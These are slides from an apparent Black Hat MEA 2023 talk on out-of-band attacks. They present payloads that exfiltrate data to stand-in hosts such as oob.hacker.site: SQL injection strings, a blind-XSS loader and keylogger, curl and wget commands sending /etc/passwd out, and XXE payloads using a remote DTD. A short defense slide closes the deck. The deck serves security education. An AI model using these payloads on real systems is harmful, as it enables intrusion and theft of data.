14 - 16 NOVEMBER 2023
RIYADH, SAUDI ARABIA
ORGANISED BY:
IN ASSOCIATION WITH:
Discover and Exploit Hidden Vulnerabilities with Out-Of-Band Attacks
Eslam Salem
#BHMEA23
www.blackhatmea.com
|
|
About Me
@net_code
netcode
https://eslam.io
#BHMEA23
www.blackhatmea.com
|
|
Agenda
#BHMEA23
www.blackhatmea.com
|
|
One direction �Request / Response
Single backend processing
#BHMEA23
www.blackhatmea.com
|
|
#BHMEA23
www.blackhatmea.com
|
|
Response
Request
Processing
#BHMEA23
www.blackhatmea.com
|
|
/?id=1 union select id, username from admin #--
SQLI
Data + Id, username from admin
Request
Processing
Response
#BHMEA23
www.blackhatmea.com
|
|
Bidirectional�Request / Response
Multi services cloud applications
#BHMEA23
www.blackhatmea.com
|
|
Request
Processing
Response
#BHMEA23
www.blackhatmea.com
|
|
/?id=1;whoami
Data
Request
Processing
Vuln
Response
#BHMEA23
www.blackhatmea.com
|
|
What is Out of band Interaction?
oob.hacker-server.tld
Vuln
POST / HTTP/1.1
Host: oob.hacker-server.tld
Content-Type: application/x-www-form-urlencoded
id=uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
Request
Response
/?id=1;curl -x post -d “id=$(id)” oob.hacker-server.tld
Curl executed
#BHMEA23
www.blackhatmea.com
|
|
OOB Attack Phases
Phase #1: Identify
Phase #2: Exploit & Exfiltrate
#BHMEA23
www.blackhatmea.com
|
|
Interaction protocols
The first attempt, If oob vuln exists its almost guaranteed to make a DNS query
The best for exfiltrating data, the power of HTTP protocol
Specific cases, depends on the vulnerability and the use case
�Might not work depends on what egress traffic allowed
#BHMEA23
www.blackhatmea.com
|
|
DNS exfiltration limitation
infoyouwanttoexfiltrate.domain.tld
Maximum 63 Character*
Maximum 255 Character**
2. DNS caching
#BHMEA23
www.blackhatmea.com
|
|
OOB Tools
#BHMEA23
www.blackhatmea.com
|
|
OOB Tools - DIY ;)
#BHMEA23
www.blackhatmea.com
|
|
Using OOB for common vulnerabilities
#BHMEA23
www.blackhatmea.com
|
|
OOB SQL Injection - Phase #1 Identify
DNS
1; EXEC master..xp_dirtree '\\hacker.site';--
LDAP
DNS
1+union+select+1,DBMS_LDAP.INIT((SELECT user FROM dual)||'.'||'.hacker.site',80)
DNS
Windows Only
1+union+select+1,load_file(concat('\\\\hacker.site\\a.txt'))
#BHMEA23
www.blackhatmea.com
|
|
OOB SQL Injection - Phase #2 Exfiltration
1+union+select+1,load_file(concat('\\\\',HEX(user()),'.hacker.site\\a.txt'))
#BHMEA23
www.blackhatmea.com
|
|
OOB XSS (aka blind XSS)
<script>alert(‘xss’)</script>
Internal panel
Processing
xss
No reflected xss
#BHMEA23
www.blackhatmea.com
|
|
"><script src="https://hacker.site/drl1ll3mkk"></script>
XSS Hunter - host it in your sever ;)
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://hacker.site/drl1ll3mkk\';document.body.appendChild(a)')
OOB XSS - Phase #1 Identify
#BHMEA23
www.blackhatmea.com
|
|
OOB XSS - Phase #2 Exfiltration
Example: Simple keylogger
"><script src="https://oob.hacker.site/drl1ll3mkk"></script>
document.onkeypress=function(e){fetch("http://hacker.site?k="+String.fromCharCode(e.which))},this.remove();
#BHMEA23
www.blackhatmea.com
|
|
OOB OS Command Injection - Phase #1 Identify
DNS Interactions
ping
Windows / Linux
ping oob.hacker.site
Example:
nslookup
Windows / Linux
nslookup oob.hacker.site
Example:
host
Linux
host oob.hacker.site
Example:
dig
Linux
dig oob.hacker.site
Example:
#BHMEA23
www.blackhatmea.com
|
|
OOB OS Command Injection - Phase #2 Exfiltration
WGET
wget --header=leaked:$(cat /etc/passwd | xxd -p -c 10000) oob.hacker.site
Windows / Linux
Example:
CURL
curl -X POST -d "leaked=$(cat /etc/passwd | xxd -p -c 10000)" oob.hacker.site
Windows / Linux
Example:
HTTP Interactions
#BHMEA23
www.blackhatmea.com
|
|
OOB XXE - Phase #1 Identify
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://oob.hacker.site"> %xxe; ]>
malicious.xml
#BHMEA23
www.blackhatmea.com
|
|
OOB XXE - Phase #2 Exfiltration
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://oob.hacker.site/remote.dtd"> %xxe;]>
<info>
<user>%xxe</user>
</info>
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://oob.hacker.site/?x=%file;'>">
%eval;
%exfiltrate;
oob.hacker.site/remote.dtd
malicious.xml
#BHMEA23
www.blackhatmea.com
|
|
Defense
Software update with secure defaults
Block outbound connections you don’t use and monitor the rest
Using minimal container images & distroless images when possible
Ex: Recent mysql don’t allow by default load_file to access unrestricted directories or open a connection
There is not much attacker can do when there is no curl, wget or even bash
You're probably don't need ldap, ftp, gopher outbound connections.
#BHMEA23
www.blackhatmea.com
|
|
Thank you
@net_code
netcode
https://eslam.io
#BHMEA23
www.blackhatmea.com
|
|